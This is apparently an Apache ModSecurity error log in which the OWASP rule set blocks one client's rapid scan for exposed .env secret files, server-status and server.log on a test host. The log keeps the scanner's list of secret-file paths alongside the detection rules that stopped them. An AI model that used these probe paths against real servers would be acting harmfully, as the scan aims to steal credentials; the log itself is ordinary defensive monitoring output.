[Thu Feb 26 01:03:16.195325 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizQwAAAAA&quot;]
[Thu Feb 26 01:03:16.195487 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizQwAAAAA&quot;]
[Thu Feb 26 01:03:16.219065 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /samples/chatroom/chatroom-spa/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizRAAAAAA&quot;]
[Thu Feb 26 01:03:16.219327 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizRAAAAAA&quot;]
[Thu Feb 26 01:03:16.219489 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizRAAAAAA&quot;]
[Thu Feb 26 01:03:16.256109 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /samples/docker/deploymentscripts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizRQAAAAA&quot;]
[Thu Feb 26 01:03:16.256344 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizRQAAAAA&quot;]
[Thu Feb 26 01:03:16.256497 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizRQAAAAA&quot;]
[Thu Feb 26 01:03:16.267617 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /secrets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiFwAAAAE&quot;]
[Thu Feb 26 01:03:16.267841 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiFwAAAAE&quot;]
[Thu Feb 26 01:03:16.268011 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiFwAAAAE&quot;]
[Thu Feb 26 01:03:16.293445 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /selfish-darling-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiGAAAAAE&quot;]
[Thu Feb 26 01:03:16.293700 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiGAAAAAE&quot;]
[Thu Feb 26 01:03:16.293844 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiGAAAAAE&quot;]
[Thu Feb 26 01:03:16.313900 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /script/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizRwAAAAA&quot;]
[Thu Feb 26 01:03:16.314104 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizRwAAAAA&quot;]
[Thu Feb 26 01:03:16.314249 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizRwAAAAA&quot;]
[Thu Feb 26 01:03:16.356260 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizSAAAAAA&quot;]
[Thu Feb 26 01:03:16.356501 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizSAAAAAA&quot;]
[Thu Feb 26 01:03:16.358307 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizSAAAAAA&quot;]
[Thu Feb 26 01:03:16.380036 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /serve-browserbench/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiGgAAAAE&quot;]
[Thu Feb 26 01:03:16.380248 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiGgAAAAE&quot;]
[Thu Feb 26 01:03:16.380408 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiGgAAAAE&quot;]
[Thu Feb 26 01:03:16.390179 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /scripts/fvt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizSQAAAAA&quot;]
[Thu Feb 26 01:03:16.390414 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizSQAAAAA&quot;]
[Thu Feb 26 01:03:16.390562 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizSQAAAAA&quot;]
[Thu Feb 26 01:03:16.412676 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /serve_time_server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiGwAAAAE&quot;]
[Thu Feb 26 01:03:16.412898 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiGwAAAAE&quot;]
[Thu Feb 26 01:03:16.413053 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiGwAAAAE&quot;]
[Thu Feb 26 01:03:16.457001 2026] [authz_core:error] [pid 2330789] [client 185.177.72.22:15522] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Thu Feb 26 01:03:16.480602 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiHQAAAAE&quot;]
[Thu Feb 26 01:03:16.481071 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiHQAAAAE&quot;]
[Thu Feb 26 01:03:16.481208 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiHQAAAAE&quot;]
